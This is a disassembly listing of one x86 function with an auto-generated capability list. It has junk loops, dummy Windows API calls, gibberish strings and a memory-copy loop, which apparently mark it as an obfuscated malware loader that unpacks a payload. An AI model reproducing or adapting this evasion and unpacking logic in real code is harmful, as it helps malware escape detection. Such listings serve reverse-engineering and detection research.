Function at 0x487730
Capabilities:
Connect pipe
Get disk information
Get geographical location
Manipulate console buffer
Move file
Read pipe
Set file attributes
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x185c
call fcn.0040a230
mov eax, dword [0x48e004]
xor eax, esp
mov dword [esp + 0x1858], eax
mov edx, dword [0x48f450]
mov ecx, dword [0x2b8e1e4]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
lea esp, [esp]
cmp eax, 0x4db
jne 0x48777d
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x487791
mov dword [0x490258], edi
mov dword [0x49025c], esi
inc eax
cmp eax, 0x1180b56
jl 0x487770
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [0x2b8e1e4], ecx
xor esi, esi
cmp esi, 0x55b763
jne 0x4877b9
mov eax, dword [0x48eff8]
mov dword [0x2b8e314], eax
cmp ecx, 0x3c
jne 0x4877c8
push ebx
push ebx
call edi
mov ecx, dword [0x2b8e1e4]
inc esi
cmp esi, 0x4cd9711c
jl 0x4877a7
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x24c2d
jg 0x4877f3
inc esi
cmp esi, 0xee1cb
jl 0x4877e0
cmp dword [0x2b8e1e4], 0x2a
jne 0x487908
push ebx
lea ecx, [esp + 0x18]
push ecx
push ebx
lea edx, [esp + 0x6c]
push edx
push ebx
push ebx
push ebx
mov dword [0x2b8e1d8], ebx
mov dword [0x2b8e1dc], ebx
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
lea eax, [esp + 0x18]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push ebx
xor eax, eax
lea edx, [esp + 0x864]
push edx
push str.hisorezawixupisosovagafepa
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
lea eax, [esp + 0x28]
push eax
push ebx
xor ecx, ecx
push ebx
mov word [esp + 0x34], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov eax, dword [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.004015e6
push ebx
push ebx
call fcn.0040100f
push ebx
call fcn.0040109e
add esp, 0x1c
push ebx
push ebx
push ebx
push ebx
call fcn.00401596
push 0x48c358
push 0x4901d0
call fcn.004011ee
push ebx
call fcn.00401353
add esp, 0x1c
cmp dword [0x2b8e1e4], 0x7c
jne 0x4879e3
push ebx
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
lea edx, [esp + 0x864]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
push 0x2e
lea ecx, [esp + 0x34]
push ebx
push ecx
mov dword [esp + 0x38], ebx
call fcn.004065b0
add esp, 0xc
push ebx
lea edx, [esp + 0x30]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push ebx
push ebx
push ebx
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0x48c35c
push str.xategesiyubesa
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push ebx
lea edx, [esp + 0x1064]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
cmp dword [0x2b8e1e4], 0x2d
jne 0x4879d1
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
call fcn.0040120b
add esp, 4
push ebx
call fcn.00401221
add esp, 4
mov eax, dword [0x2b8e1e4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x2b8e1e4]
mov esi, eax
xor ecx, ecx
mov dword [0x2b8e02c], esi
cmp edx, ebx
jbe 0x487a2e
mov edi, dword [0x2b8e314]
mov eax, 0x17bc
nop
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x487a27
mov dword [0x2b8e030], eax
inc ecx
cmp ecx, edx
jb 0x487a10
xor ebx, ebx
call fcn.00487580
call fcn.00487440
call fcn.004876d0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
jmp 0x487a50
cmp dword [0x2b8e1e4], 0x41
jne 0x487a61
push 0
call edi
push 0
call ebx
cmp esi, 0xd606b
jne 0x487a6e
call fcn.00487430
cmp dword [0x2b8e1e4], 0xc
jne 0x487a8a
push 0
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.KERNEL32.dll_GetACP]
inc esi
cmp esi, 0x24e87d
jl 0x487a50
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, 0x1dfefd
mov edi, 0x8e4e015c
jmp 0x487ab0
cmp dword [0x2b8e1e4], 0x7c4
mov dword [0x2b8e034], edi
jne 0x487adf
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov word [esp + 0x16], ax
mov edx, dword [esp + 0x14]
push edx
push eax
push eax
push eax
call esi
sub ebx, 1
jne 0x487ab0
mov ecx, dword [esp + 0x34]
xor eax, eax
lea ebx, [ebx]
cmp eax, 0x408e
jle 0x487aff
cmp ecx, 0xf5bed7
jne 0x487b07
inc eax
cmp eax, 0x687ed2
jl 0x487af0
mov ecx, dword [esp + 0x1864]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret